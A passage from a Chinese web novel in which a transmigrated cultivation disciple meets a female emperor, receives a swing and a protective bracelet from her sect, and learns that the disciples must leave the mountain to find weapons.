感觉好像不是还她文章这么简单呢。 “过几天仙盟可能会派人过来。”章存舒语气平淡。 关云铮抱着纸卷坐下:“来做什么?” 章存舒看她,眼神有些意味深长,但不知是不是针对她的问题:“来观摩归墟的教学。” 她明白了:“哪种观摩?忍不住指点江山的那种?” 章存舒笑起来:“可能还会有前两年参与过教习的人来。” 关云铮顺着他话的意思:“也来观摩?” 章存舒点头:“也可能留下来一同学习。” 关云铮不大高兴地皱了皱眉,没说什么。 两人面对面坐着,她脸上的表情变化自然会被注意到,因此章存舒问道:“怎么,不愿意?” 关云铮低声抱怨:“说了交给我们管理,如今又要插一手,之后说不定要怎么指手画脚,这种做派真是膈应。” 果然从古到今的领导都是一样的做派,嘴上说放权,交给手底下的人去做,过几天又变卦,质问手下人怎么做事没有来征求ta的同意。 官不大官威不小,不用做事的人可真是轻松。 她怨气深重的样子,章存舒本来也不大高兴,看了她反而觉得此事不算什么大事,笑着宽慰道:“他们若真要玩朝令夕改那一套,你掌门师叔和我也不会同意的。” 关云铮声音大了些:“那是自然,凭什么听他们的,学生教不出来他们赔吗?” 章存舒笑得更开心了,过了好一会儿才说:“褚先生和蒲先生肯定不会听他们的。” 关云铮还在生气:“那掌门呢?” 章存舒神色平静:“他会敷衍他们。” 噗。 不愧是我们归墟。 章存舒看她神色缓和,知道这事差不多是过去了,又提起另一个话茬:“你不好奇我是怎么知道的?” 关云铮疑惑看他,眼神里明白写着:“师父不是什么都知道吗”。 章存舒失笑:“有人给我传了信。” 仙盟里有归墟的人?还以为归墟不在乎外界,无所谓仙盟如何呢。 她在师门众人面前不加矫饰,心情几乎写在脸上,章存舒一看就知道她在想什么,因此开口解释道:“是朝廷中人。” “朝廷?”险些忘了,古代这种封建制度大背景,就算有仙门,应当也会有朝廷,毕竟仙门之外的普通人需要有人约束,有法度就会有官,有官就会有皇帝。 不过仙盟行事是需要告知朝廷的吗?仍受朝廷制约? 那还搞什么仙门。 “你想见见他吗?”关云铮正在心里蛐蛐,听见章存舒这样问道。 她没反应过来:“见谁?”对上章存舒视线又明白过来,“我能见吗?” 章存舒点头:“当然。” **** 被带着缩地成寸的体验很奇妙,奇妙到可以被拿来当做幻影移形的代餐。虽然她怀疑这两个技术的本质差不多。 没能在十一岁的时候收到一只猫头鹰真是终生憾事啊。 好吧扯远了。 关云铮头昏脑涨地站定,感觉周围的景色变换得像是延时摄影的星空图片,全都拖曳着长长的尾巴,在她的视野里成为炫目的色彩线条。 章存舒低头看她,目光很关切:“难受?” 关云铮心说我简直想吐,何止是难受。 还没等她说出口,前方已传来人声。 “章存舒?你怎么来了?”一个女人的声音,听着很年轻。 关云铮抬起头,对上那女人看过来的视线。 “嗯?这是你的小徒弟?”那女人挑了挑眉。 关云铮使劲用大拇指尖掐了一下食指关节,在锐痛中强打精神,让自己忘记身上头晕目眩的感觉。 眼前的女人打扮得很素净,发间没有簪子,颈间没有饰品,却坐在一座装点得近乎金碧辉煌的亭子里。 因此那素净几乎有点像是刻意为之了。 不过她长了一张……一看就很贵气的脸,关云铮一度以为自己不会亲眼看见能配得上这个形容的人。 章存舒先走进亭子:“嗯,我的小徒弟。” 关云铮抬腿跟上。 “我是苍韫桢,你是云铮?”那女人笑着问她。 关云铮点头。 章存舒给自己倒了杯茶:“我跟云崽说了仙盟的事。” 苍韫桢对这件事并不太在意的模样,闻言只是颇觉有趣地看向关云铮:“云崽?” 关云铮有种家人起的小名太可爱,自己在外人面前开不了口的感觉。 好在苍韫桢看出她有些不自在,没有在称呼上多说,接着方才的话题说道:“姓严的也知道自己此行没有一个好由头,来找我讨个旨意。” 旨意??? 关云铮惊恐抬头。 章存舒悠哉悠哉地又喝了一口茶:“她是当朝皇帝。” 不是???你不是说朝廷中人吗??? 虽然皇帝理论上也算是朝廷中人吧…… 苍韫桢笑起来:“是没想到我是皇帝,还是没想到当朝皇帝是个女人?” 都没想到…… 关云铮感觉周围的空气都变稀薄了。 苍韫桢显然知道答案,但表情不变,依旧笑着,看向章存舒说道:“你徒弟挺有意思。” 到现在为止一个字也没说过的关云铮:?哪看出来的? 苍韫桢也给自己倒了一杯茶:“我本来不想管,仙门事仙门了,可惜姓严的没脑子。” 茶壶和杯子被章存舒推到关云铮面前,她默默给自己倒了杯茶,然后把嘴埋进去,决定把沉默贯彻到底,装作是亭子里一个朴素的装饰。 “卿知已经把他的折子打回去了,你的意思呢?”苍韫桢问道。 卿知又是谁……她的大臣吗……关云铮感觉自己的脑袋更晕了。 “让他来,我倒要看看,他想做些什么。”章存舒语气平静地说道—— 作者有话说:让我们热烈欢迎女帝出场! 感谢ww 30-40 第31章 两人轻描淡写地讨论了一件貌似举足轻重的大事, 关云铮在旁边埋头喝茶,甚至品出这茶应当是正山小种。 正山小种好像是……明朝起源的?关云铮的思绪才起了个头就被她自动掐灭了,搞不懂自己为什么又在架空世界里考据。 不过她一直以为皇宫里的茶更多是绿茶来着, 毕竟绿茶占比本来也比较大。掐灭考据的想法后脑袋空空, 漫无边际的想法又跳出来占据她的大脑,让她在这个场合里不至于太过不自在。 她正埋头装作自己不存在, 苍韫桢则显然不打算体谅她这点小心思, 忽然问道:“云铮要吃点心吗?” 关云铮抬头,嘴和脑拉锯半晌,还是嘴赢了:“吃。” 蹦出这个字后她简直想咬舌头,都怪章存舒的态度太随意了,搞得她面对皇帝也这么不把自己当外人。 苍韫桢倒是完全不在意的模样,对着不知道什么时候站到她身后的人吩咐了几句。 “我听章存舒说, 你厨艺不错?”吩咐完,苍韫桢转回身, 看她似乎挺喜欢手里那杯茶,眼里的笑意深了些。 再好也不能跟皇宫里的厨子比吧…… 她谨慎地捧着茶盏, 对着苍韫桢的视线, 一时不知道如何回答。 “他吃过的好东西可比我多上许多,既然他这么说,你也不用谦虚。”刚才那人去而复返, 身后跟了几个人, 手里各端了一盘点心。 亭中石桌面积不大,已放不下这许多碟子,来人于是收手抬头,看向苍韫桢等待指示。 苍韫桢话语简洁:“都放下,取些茶饼来。” 来人立刻变戏法似的把碟子挨个堆叠起来, 七八个碟子愣是在仅剩的一小块空桌上站稳了,里头的点心还能争奇斗艳似的都能让人看见。 佩服。关云铮简直看呆。 来人又无声无息地向后走着,退出亭子,应当是去取茶饼了。 “尝尝。”苍韫桢示意道,又看向一边悠闲喝茶的章存舒,“你请的厨子会做点心吗?” 章存舒挑了挑眉,没回答。 苍韫桢于是笑了一声:“那这回是我赢了。” 不懂你们大人物每天在想什么,关云铮看得无言,本小人物只知道皇家的点心就是好吃。 只可惜来之前已经吃过晚饭了,而且修仙之后自己心情不好就会暴饮暴食的坏毛病也差不多改了,此刻只能把看着格外好吃的几种点心挨个尝了尝。 “我还有些折子要批,就不多待了。”苍韫桢起身,步子都快迈出亭子了,又转回身来,在关云铮身边站定。 关云铮被她去而复返的举动一惊,差点把点心碎屑卡喉咙里,赶紧不动声色地吞咽了一下,而后抬起头来看向身边的这位女帝。 “若是你愿意,日后我也会同你通信,云铮觉得如何?” 关云铮感觉那点心碎屑似乎完全没被咽下去,她此刻简直想惊天动地地咳嗽一番,好驱散眼前跟幻觉一样的场景,和耳边这句幻听一样的话。 苍韫桢挑眉:“不出声就当你同意了?” 关云铮挣扎着捞过自己面前的茶杯,狠狠灌了一口后,才开口道:“为何?” 为何是我? 苍韫桢低头,脸侧一缕长发落下来:“倒是不知为何,但你大约会觉得有用的。” 关云铮更觉茫然,她却不再多说,只大步走向亭外,朝二人摆了摆手。 不愧是皇帝……太说风就是雨了,完全捉摸不透。 关云铮看着她离开的方向陷入沉思,或者说呆滞更为恰当。 章存舒轻笑一声,打破寂静:“吃不动了?” 关云铮闻声缓慢地转过脑袋:“吃不动了。” 章存舒一拂袖子,桌上的碟子被一扫而空,点心估计都被收进了他身上某处暗袋:“那带回去给你师兄师姐吃。” 关云铮迟钝地点点头,随即想通什么,看向章存舒:“师父。” “嗯?” “你该不会是特意带我来打秋风的吧?” 章存舒挑眉:“似乎……确实如此?” 你还真敢认啊?? **** 可能是苍韫桢给她带来太多冲击,第二次被章存舒带着缩地成寸的时候,关云铮并未觉出太多晕眩感。 但直到在师门落地,她才意识到刚才的想法是她的错觉。 心理上的震撼并不能减缓生理上的眩晕,所以她一落地就倒地了。 太好了无师自通昏昏倒地(主动语态版)。 章存舒反应迅速,在她脑袋马上要磕到石板之前托了她一把。 关云铮坐在地上,安详地靠在回廊的柱子上:“多谢师父。” 章存舒沉默了一下:“我怎么觉得你话里的意思更像是都怪师父?” 关云铮继续安详地靠着柱子:“师父知道就好。” 章存舒也没生气:“这些点心是你恢复后去给,还是我现在去给?” 关云铮睁开眼,还是很想吐,决定去找师姐讨个清心诀,干脆顶着头晕爬起来:“我去给,师父你歇着吧。” 章存舒把点心和茶饼从暗袋里拿出来,又不知从哪找出两个碟子,做完这一串动作后抬眼,发现关云铮看着点心的眼神非常怀疑。 他下意识解释:“暗袋里有专门存放吃食的地方。” 关云铮怀疑的目光收回了。 章存舒无言片刻,开始思考自己在小徒弟心里到底是个什么糟糕的形象。 关云铮端上碟子、揣上茶饼准备走,发现章存舒还站在原地,困惑地回头看了眼。 章存舒收回思绪,对上小徒弟的视线,自觉道:“那为师就哪凉快哪待着去了。”? 怎么还怪幽怨的。 关云铮决定不去思考任何会在此刻给自己的大脑加重负担的事情,迈开步子往师姐院子里走了。 走到师姐院子的时候发现师姐不在里面,房门开着,灯却没亮。 关云铮无意识地“咦?”了一声,决定先把点心拿回自己的小院,等一会儿再给师姐送过来。 至于为什么不给两个师兄送去……她潜意识不是很想单独面对大师兄。 虽然她知道大师兄只是看起来有点严肃,好吧是有点凶,但是看他和师姐相处就知道他其实还挺温和的。 她单纯是觉得自己好像没什么话题跟大师兄聊,容易搞得两个人都尴尬——虽然也可能只有她自己尴尬。 至于馋鬼三师兄……她有种感觉,自己回到小院没多久,这厮对美食的直觉就会把他带到她的小院里。 虽然给自己找了很多理由,但最主要的理由还是她现在晕得不行了,想回去瘫一瘫。 她重新走上回廊,还没等看见自己的小院,就听见闻越咋咋呼呼的声音传来。?这人在她院子里做什么?不仅感知到点心还感知到她要带着点心回来了? 这么神奇? 关云铮狐疑地朝自己的小院走,期间茶饼从怀里掉出来,还狼狈地弯腰捡了捡。 再一抬头,她就被眼前的景象惊呆了。 ——她的小院里,多了一架秋千。 虽然江却和连映还在围着秋千进行一些物理的敲敲打打,以及法术上的增添色彩细节,但那架秋千就在那,没有任何人会怀疑它不是一架秋千。 闻越的咋咋呼呼也在此刻得到了合理的解释:他显然没想到这么短的时间里这架秋千就被搭好了。 关云铮也没想到。 虽然她今天早上出门上课后就再也没回过自己的小院,但看秋千的精细程度,也绝对不是一天之内就能完成的。 “你们……”关云铮站在回廊上看了一会儿都没被人发现,忍不住出声打断三人,却发现自己的嗓子有点黏。 她偏过头清了清嗓子,听见连映笑着的声音:“回来啦?带了什么好吃的回来?” 关云铮还没从眼前的景象回过神来,下意识举起自己两只手。这动作本来就有点“投降”意味,加上她手里那两碟点心,显得这个画面更好笑了。 这下连看过来的江却都被她的动作逗笑。 关云铮后知后觉地放下手,端着点心走进院里,把手上的点心和怀里的茶饼都放下:“这架秋千……” 闻越上前来拿了块点心,又伸出另一只手搭住她肩膀:“其实是我想出来的点子,怕你在师门觉得日子无聊,决定做个什么给你解闷。不过秋千是师兄和师姐想出来的,也是他俩搭的。” 关云铮下意识反驳:“我在师门不无聊……” 闻越咬了口点心,又抬手揉了一把她的后脑勺:“小悯不是也要来住吗,你俩可以一起坐上面,那个位置阳光也好。” 关云铮顺从被rua,又看向江却和连映。 连映看她,眼神关切:“头晕?缩地成寸的感觉是不是不太好?” 关云铮乖顺地点点头。 连映念了个清心诀,又问道:“怎么不问师父要清心诀?” 关云铮·神清气爽版:“……忘了。” 不知道为什么就是觉得师门的奶妈是师姐来着。没有说师姐不能打的意思。 连映笑得眼睛弯弯:“正好你回来了,看看这秋千你喜欢吗?有没有要改的地方?” 关云铮看向秋千,江却原本站在秋千旁边,此时也走到连映身边让出位置。 看不出是什么材质,关云铮走上前伸手摸了摸,感觉有点像木头,但好像又有点石头的凉意。 她回过头看向三人。 江却解释道:“是师父给的材料,上面有跟门中一致的阵法,摸起来是不是有点凉?” 关云铮又伸手摸了一下:“因为我现在比较烫?” 江却点头。 真神奇。关云铮试探着坐上去,轻轻晃了晃腿。 秋千像是自带感应,在她晃腿后开始前后摆动起来。 仙门秋千真是不同凡响啊。关云铮一边荡秋千一边在心里感慨。 “师父又是怎么知道你们要做秋千的?”她晃悠着问道。 连映挑了块荷花形状的点心:“早上我们想好就跟师父说了。”。也是。 哪有那么多神机妙算,更多的还是师门之间没有隐瞒。 真好呀,她的师门。 “你晚饭没吃吗?”连映的声音传来。 闻越嘟嘟囔囔的声音紧随其后:“这可是皇家点心!” 关云铮若有所思,看来确实可以多跟女帝通信,至少搞好关系方便日后打秋风……真是胆大包天啊关云铮。 **** 跟女帝通信的想法终究只是个想法,因为关云铮也不知道女帝所说的通信方式具体是指什么,从昨天章存舒带自己去见她那种不寻常的赶路方式来看,她所说的也不会是寻常的通信。 但关云铮没想到这么快就会收到女帝给她的信——从她房间那盏油灯里飞出来的。 坦白说那一瞬间关云铮有点被吓到,因为那时候她本来已经要出门去饭堂了,身后却突然传来哗啦作响的动静,院里那会儿也没刮风,任谁来了都会有点惊恐的。 仿佛后背有人。 她转过身时那张纸刚好从油灯里飞出来,在空中打着卷地朝她飞过来,像一架没折好但续航能力一级的纸飞机。 关云铮伸手接住,发现是一张有一定厚度的信纸。 上面洋洋洒洒地写了几排字,出乎她意料的是,这些字居然是横着写的。 来这几天虽然都在学术法和武器这样不需要读书的科目,但是褚先生的课上没少看到古籍似的教科书,都是竖排的,所以她写文章的时候还强迫自己写成了竖排,边写边难受。 “点心味道如何? 你师父给你准备的礼物可看到了? 下次来是何时?” 落款是异常端正的一个“苍”字。 好吧一下就明白是谁的信了。 师父你也没说过你俩通信的方式这么离奇啊? 关云铮把信纸叠好放进怀里,把房门关上,打算待会儿要是在饭堂遇见师父就去问问,顺便还得托李演拿些水牛奶来。 一想到下午小悯就可以过来一起住了,就觉得可以暂时给这个修仙世界一点好脸色呢。 不对,等会儿。 她昨晚被带着缩地成寸前是不是又把文章落下了? 关云铮的好脸色消失,绝望地叹了一口气,决定飞奔去师父院里把自己的文章拿回来再去饭堂。 不过她的计划没能落实,因为没等她走出小院,就看见院中石桌上好好地放着自己那卷文章,被一个闪闪发光的东西压着,纸卷中间都微微凹陷了下去。 她靠近石桌,才发现那闪闪发光的东西似乎是一个手镯。 师父给的? 还没到上交文章的时候,关云铮把纸卷拿回房间,拿着手镯朝饭堂进发了—— 作者有话说:小猫打猎归来! 感谢ww 第32章 今日难得师门齐聚, 李演也坐在桌边,见了小跑进来的关云铮招招手:“昨日你在地里发现了木薯?” 关云铮本来准备看见章存舒就问他手镯的事,被这么一打岔只好把手镯继续攥在手里, 先说昨晚菜地的发现。 李演听完点点头, 非常诚恳地问道:“所以何为木薯?” 嗯……你问这么质朴的问题我反而有点不知道怎么回答,有种面对医学基础名词解释时的茫然感, 比如说胫骨的名词解释就有一种硬解释的感觉。胫骨就是……胫骨啊。 虽然是可以通过位置结构和功能来解释没错…… 关云铮收敛自己的胡思乱想, 打算实话实说,毕竟她唯一知道的就是她一无所知:“在此之前我也没见过木薯,说不上来,只知道它没熟透的时候好像有毒。” 旁边的闻越被一口粥呛了个天昏地暗。 关云铮安抚地拍拍他的肩膀:“放心,我肯定煮熟后再给你品鉴。” 闻越一边拍胸口给自己顺气,一边对着关云铮摆手:“不是, 自然不是怀疑你会给我下毒,我只是没想到你对没见过的东西也敢下手, 这东西当真能吃吗?” 关云铮总不能说自己虽然没见过但没少吃,也没少看人吃, 毕竟修仙界没有美食博主教学视频。 “云崽觉得能吃应该就能吃。”然而没等在座的其他人开口, 闻越就已经自问自答地解决了他的疑惑。 关云铮觉得实在好笑,忍俊不禁:“师兄你怎么像是在家没吃过什么好的,闻逍大哥难道虐待你了?” 变脸简直发生在瞬息之间, 闻越一脸严肃地坐直, 生怕别人误会似的连连摆手:“没有这回事。” 脸上的忠诚简直经得起严刑拷打呢,师兄。 这下全桌人都笑了,连江却都勾了勾嘴角。 “需要我做什么?”大家都笑完后,李演才开口问道。 关云铮接过连映递过来的粥碗:“上次的水牛乳可还有?” 李演点头:“这个你师父同我说过了,待会儿我就下山取来。” 关云铮一勺粥还没送进嘴里, 闻言诧异地抬头看向章存舒。 章存舒与她对视,又将目光在她另一手上停留片刻,随即开口解释:“方才说的。” 关云铮没再细想,点点头,喝了一口粥后又说:“地里的甘薯还没完全成熟,约莫还要过些日子,这样说来,木薯也不知道成熟了没有……” 章存舒挑眉:“这简单,到时我去抓栖霜来尝尝。” 关云铮差点也被粥呛了个天昏地暗。 她惊疑不定地抬头,看向神色如常的章存舒:“万一有毒呢?” 章存舒笑着没回答,反而是一直默默听着的连映开口说道:“是说师伯的那只貂吗?” 关云铮点点头。 连映神色也很自然:“它原本就是吃毒物长大的。” 关云铮皱眉,心说原来真有这种神奇物种,转念又想起昨天章存舒说的它来苍生道偷吃,再度惊恐地从粥碗里抬起头:“师父你昨日不是说它来我们这偷吃吗?” 连映被她的神情逗笑了:“当然也能吃寻常吃食。” 也是。 都怪木薯名词解释。害她满脑子有毒没毒。 碗里的粥浅了一半,她又想起一件事:“我忘了一件事。” 她脸上的神情十分懊恼,江却不由得看过来:“何事?” 关云铮简直想给自己脑袋一下,不知道自己是怎么能忘记这个细节的:“木薯粉洗出来后,需要晾晒三天才可以使用……” 那小悯就没法在搬过来的当天喝到珍珠奶茶了! 那就太没有仪式感了!人生憾事! 闻越叼着勺子:“烘烤行吗?” 关云铮犹自懊恼,一时没反应过来,看向他的眼神里混杂了一点茫然。 “非得晾晒三天?”江却疑问道。 关云铮发现在座的没有一个把她提出来的细节当回事,但倒不是那种“我不明白你在计较什么”的不当回事,而是“小问题,换个方法解决”的不当回事。 太好了是无条件包容的师门她有救了! “那就,今日午后试试?”她试探着问道。 李演积极响应:“得嘞,那我先去取水牛乳。” 他说走就走,把缩地成寸用得像是不耗蓝的平A。 关云铮这才把手里的手镯拿出来:“师父,这是你放我院里的吗?” 倒也不是刻意不在李演面前拿出来,就是李演在的时候话题全在怎么倒腾木薯上,忽然切入手镯话题感觉有点奇怪——虽然现在李演前脚刚走,她后脚就掏出个藏了很久的东西也挺奇怪的。 总之都怪时机不对,不是她的问题。 章存舒点头:“为何不戴上?” 关云铮把碗挪到一边:“为何给我此物?” 章存舒不答反问:“不好看吗?” 关云铮拿着手镯,有点无语,感觉师父又在谜语人:“好看,不过…….” 被她腹诽的谜语人这回倒是没有让人困惑太久,反问了一句后就重新解答了方才的问题:“这是个法器,戴着防身。” 关云铮闻言乖乖地戴上了,刚套上的时候还有点宽松,勉强卡在手掌两侧才能不掉下来,她下意识晃动手腕,就见这镯子下滑了一截,倏忽之间似乎变小了一个尺寸,自动吻合了她的手腕围度。 不愧是法器哈。 和昨日那个秋千的触感很像,有点凉凉的。 “不过归墟境内需要用到这个法器吗?”关云铮又看向章存舒。 归墟应该很安全吧,她可是不久前才立过fg,章存舒这样会让她以后都不敢夸口了。 章存舒态度随意,像是那镯子只是个寻常的首饰:“先戴着玩儿,以后还有改进。” 关云铮一脑门问号,心说你这话的意思不就是现在这个强度还不够安全吗,那岂不是更可怕了。 大概是她脸上吐槽的意味太过明显,章存舒又补上一句:“给你之后下山用的,在归墟就当个首饰戴着。” 关云铮满意了,伸手又问连映要了个小米做的窝窝头。 **** 上午是蒲飞鸢的课,之前图方便,下了课总是把木剑放在饭堂,现在吃完饭拿了剑,关云铮边走边想,好像是该拿摇羽进行之后的剑术练习了,被她关在剑鞘里这段时间总该老实点了吧?也不知道晾了这许多天,剑身里的灵气还够不够它蹦出几个字来嘲讽。 不过现在她引气入体了,是不是也能有灵气给摇羽用了?。那还是再晾几天吧。 她一边腹诽一边往前走,楚悯依旧站在不远处等她,见到她眼里出现笑意:“云崽早。” 关云铮拉住她的手往武器课场地走:“怎么感觉你今日格外高兴?” 虽然不怎么明显,但就是有种很雀跃的感觉。 楚悯似乎有些不好意思,抿了抿嘴才说:“我还没有和年岁相仿的朋友住在一起过。” 啊?你们天问就这样虐待门派天才?什么态度? 好吧也可能是小悯太天才了,整个门派这个岁数的就她一个。 关云铮近乎慈爱地拍了拍楚悯的胳膊:“明日起我们就住一起啦!” 楚悯点点头,换了个话题问道:“你怎么都不用从剑冢得来的那把剑?有自己的佩剑岂非比木剑好些?” 关云铮实话实说:“我怕它还是不听话,用它御剑没准摔得更狠呢。” 啊,说到这个……她之前遇见鬼灯楼那三个邪修打算出去以卵击石的时候,是不是承诺了摇羽一句等回来了带它去剑冢吸灵气来着…… 关云铮感觉莫大的心虚涌上心头,那天回来后她就因为引气入体发烧了,之后就忙着上课和……倒腾奶茶,竟然完全把这件事抛诸脑后了! 完蛋。 她说着说着没动静了,楚悯困惑地扭头:“怎么了?” 关云铮痛心疾首地反思了自己的罪孽。 楚悯沉默了一下:“不如今晚带它去剑冢?” 虽然迟来的深情比草都贱但她好歹想起来了,就是不知道摇羽愿不愿意给她个面子原谅她了。 关云铮叹了口苦大仇深的气,在蒲飞鸢走过来之前拿起自己的木剑开始了今日的练习。 一种武器想要学到能上场比划几下,见个真章,几天的工夫是完全不够的,但花架子一般的剑招,通常练上几天就能有个大致的样子了。 关云铮感觉自己现在像是半罐子水,因为没装满,晃荡的动静便格外响,练起剑招来总是咋咋呼呼,仿佛不日就要变成一派剑术大师,在江湖上拥有独一无二的名号了。 她一边练剑一边反思,大概是以前中二病严重那会儿太想划拉两下冷兵器了,导致她现在稍微学会点什么都有种“这也太帅了”的心态,舞起剑来反而把本来就是空架子的剑招变得更虚浮了。 简而言之就是人一旦觉得自己帅,行为举止就会变油。 关云铮被自己下的结论恶心得一阵恶寒,连忙甩甩脑袋清空这些有的没的,深吸一口气重新开始练习这一套剑招。 蒲飞鸢又悄么声地出现了,不过没有走到关云铮旁边,而是在楚悯身后看了一会儿。 不知道是不是上辈子对监考老师的感应系统还在,她哪怕不用余光也知道蒲飞鸢在哪个位置,练习剑招的动作不由得慢了一些,手部动作更是细致得能雕朵水花出来。 好吧夸张了,其实更像是监考老师在旁边的时候写的解都要工整几分。 纯粹是本来题目就不咋会,被人看了心虚。 关云铮对自己感到无语,但又实在克制不住学生时期培养起来的本能,只好一边心虚地练着剑招,一边提防着蒲飞鸢看完楚悯练习后走过来,对她的剑招做出些什么点评。 “腕部用力的方式不对,实战中你自然可以把剑当棍棒一样,以小臂带动手腕,横扫出去,但这一剑招里你应当以腕带动小臂,不能把剑舞得呼呼生风,要让剑像微风一样拂过,剑尖用力。” 关云铮知道蒲飞鸢在说哪一招,闻言悄悄看了眼自己的动作。 很好,也是小臂带动手腕。 她试着按照蒲飞鸢对楚悯的指点改进自己的动作,发现剑的力道好像是要比方才小一些。 形象点形容,大概就是先前是在“抡”剑,此刻才是舞剑。 然而不知道是不是她腕部带动小臂的力用得不对,这个动作重复几遍后她手都有些发酸,想悄悄休息一会儿时,蒲飞鸢已经结束对楚悯的指点,从那边走了过来。 “手腕不舒服?”蒲飞鸢一眼看出她的情况。 关云铮点点头。 蒲飞鸢神情毫不意外:“木剑轻便,舞剑时反而找不好着力点,容易伤了手腕。” 关云铮有点没明白。 蒲飞鸢示意她把剑交给自己,待到接过剑后,她又把自己的佩剑拔出剑鞘递给关云铮。 关云铮猝不及防,下意识伸出双手接过。 蒲飞鸢看她:“沉吗?” 关云铮点头。 蒲飞鸢抬了抬下巴:“用它练一遍方才那一招。”说完她又转身招呼另一边的楚悯,“楚悯也过来。” 关云铮试探着挥剑。 手里的剑很沉,让人在发力时就下意识用上更大的力气,握紧剑柄,手腕带动小臂时,能感觉到剑同时也在拉扯着手腕。 像是某种制衡。 关云铮似懂非懂,蒲飞鸢又把木剑递给她,把自己的佩剑拿回来递给身侧的楚悯,示意二人用自己刚拿到的两把剑再练一遍剑招。 好轻。 好像要……飞出去了一样。 楚悯也用蒲飞鸢的佩剑试了试剑招,又把两把剑分别拿在两手中掂量了一番轻重。 蒲飞鸢站在两人中间:“明白了?” 关云铮没说话,楚悯尝试着开口:“剑的重量与施加在剑身上的力互相制衡,若是剑太轻,用的力就不够,剑招会浮,剑甚至会脱手,若是剑太重,用的力就过头,剑招太沉,甚至会使不出正确的招数。” 关云铮与有荣焉似的点点头:看看,这就是学霸级别的,这还是我朋友。 肥啾蓬松.jpg 蒲飞鸢也满意地点了点头:“正好明日起你们要去找适合自己的佩剑,到时回来我们再继续讨论这套剑招。” 关云铮和楚悯脸上出现了一模一样的茫然神色:“去哪找?” 蒲飞鸢不明所以地反问:“你师父没告诉你?” 关云铮心说他个谜语人不告诉我的事多了,你指哪一件,然而面上她只是乖顺地摇了摇头。 蒲飞鸢不太在意的样子:“约莫忘说了,明日起你们这些教习弟子要下山去寻找适合自己的佩剑,方式不限,可以去兵器铺子买也可以回家去找,要是有本事自己锻造一把也行,当然了,也不限定类别,可以是剑,也可以是刀、枪、戟,由你们自行决定。” “就明日?”关云铮追问。 蒲飞鸢这回不太确定地说道:“好像是三日?你师父和掌门都没明说,大概三日起步吧。” 三日起步? 这些教习学生要离开归墟至少三天? 不是,章存舒和步雁山这是要搞什么幺蛾子?—— 作者有话说:小菇不语只是一味敲键盘() 感谢ww 第33章 关云铮正腹诽着, 鬼使神差间低头看了一眼自己的左手腕。 章存舒给的手镯反射着阳光,晃了她一下。 就说怎么突然给她个防身的法器!敢情早就决定把他们丢下山了,居然还不明着告诉她, 又谜语人! 关云铮一怒之下怒了一下, 决定下午给章存舒的那份奶茶里不放糖了。 蒲飞鸢注意到她的视线落点,也垂眼看向她左手, 随即带着几分了然地挑起一侧的眉。 “你师父给的?” 楚悯也跟着看过来。 关云铮抬起左手腕, 方便楚悯看清楚:“他说是个防身的法器,却没跟我说是给这次下山用的,我还当是归墟有什么问题。” 蒲飞鸢笑了一声:“我看倒未必是给这次下山用的。” 关云铮不明所以地抬头看她。 蒲飞鸢把自己的佩剑收回剑鞘:“我估摸他早就想给了,下山不过给了个合适的时机。” 哦,先前一直在归墟没必要,正好明日要下山, 就能把这个先前显得有点“小题大做”甚至“杞人忧天”的法器送她了? 关云铮看了眼左手腕,感觉有点捉摸不透章存舒送她这法器的用意。 图它好看? 腕上的东西不知道是什么材质的, 流光溢彩的同时又带着点金属的冷感,华而不实的外观之下似乎还藏着点难以捉摸的杀机。 关云铮收回视线:确实还挺好看的。 但是为什么单送她?师门那么多人呢。 关云铮本来练剑练了半身汗, 双颊发烫的同时脑子都快烧沸了, 骤然停下这么一思考,山上的凉风把她的汗都卷走了,徒留一点凉丝丝的感觉。 就像那个秋千一样。 蒲飞鸢转身往练武场中央走:“跟我过来, 得嘱咐几句明日下山的事。” 关云铮收回思绪, 把木剑背在身后,跟楚悯一起跟上蒲飞鸢,三人的衣服远远一看,像是玄色古木边缀了两朵随风晃动的白花。 其他人见蒲飞鸢带着两个弟子走向场地中央,以为是要抓两个幸运儿演示剑招, 陆续停下了自己的动作,朝蒲飞鸢所在的方向看过来。 蒲飞鸢停下了脚步,关云铮一把抓住楚悯的衣袖。 楚悯不明所以:“怎么了?” 关云铮摇摇头,想起第一堂武器课时被不具名不可抗力拽得离地平移的经历,默默又攥紧了一点楚悯的袖子。 楚悯似乎也想起了什么,沉默了一会儿后,正打算伸手也抓点东西,站在她们身前的蒲飞鸢就开口了:“明日起,诸位须下山寻觅自己趁手的武器,三日后再回归墟继续教习。” 在场的人估计也跟方才的关云铮一样,对这件事毫不知情,因此蒲飞鸢话音落下后,本来安静的人群中爆发出不小的动静。 看到自己的同学也被蒙在鼓里,她的心里就好受多了。 关云铮不着调地想着,垂眼帮楚悯理了理被她攥得有点皱的衣袖。 “其他的明日步掌门会告知,今日练完剑就回去歇着吧,收拾下山要用的东西。”蒲飞鸢接着说了这么一句,就真的当起了甩手掌柜,转过身越过人群走了。 那背影简直不像是刚才教她们木剑和剑区别的人了,关云铮甚至品出了一点打工人下班的解脱味儿。 她同情地收回视线,看向一边的楚悯,感慨道:“让蒲先生来教我们课业,还是太为难她一个江湖散修了。” 意识到自己的话有点歧义,关云铮又找补道:“不是说她能力不足,我的意思是……” 楚悯眨眨眼,完全理解了她的言外之意:“江湖散修平时不过这样规律的日子,还得面对这么多等着她传授知识的弟子。” 关云铮点头,揣着半腔对楚悯这个知己的喜悦,和半腔对蒲飞鸢这个放假打工人的羡慕,拉着楚悯一起去继续练剑了。 其实她也想干脆不练回师门去,毕竟老师都溜了。但饭点还早着,回去就得她做菜了,今日练剑太累,她可再拿不动菜刀了,还是交给李演吧。 **** 今日午饭是薄皮馅饼,馅料里有菜有肉,还添了豆腐点缀,好吃得不像李演的常规水平。 关云铮叼了一个就急着走,要拉着楚悯去自己的小院。 李演在后面端着一碟子馅饼茫然:“你还回来吃吗?” 关云铮朝身后摆摆手:“浑,滚我楼几个。”后面俩字变清楚了还是因为馅饼快从嘴里掉下来了,忙伸手兜了一把。 李演端着碟子回去了,不明所以地看向连映:“她急着干什么去?” 江却把馅饼分割好,端给连映,解答了李演的问题:“昨日给云铮搭了一个秋千。” 李演坐下吃馅饼:“哦,老章跟我提过一嘴,我给忘了,怎么样,她喜欢吗?” 没等在座三个回答,李演又点点头:“看她忙不迭拉着朋友过去,应该是喜欢。” “明日她下山,我是不是得做点什么给她带着?”李演格外操心,吃了几口馅饼心思转了几个来回。 闻越拿了块馅饼:“等云崽回来问问她想吃什么吧,要是想不出就给她多带些钱,下山买去。” 连映和江却一起看向他。 闻越正沉醉式吃馅饼,察觉到头顶的注视抬起头来,嘴被占着说不了话,用眼神询问了一番。 连映叹了口气:“你这挥金如土的性子到底是随了谁。” 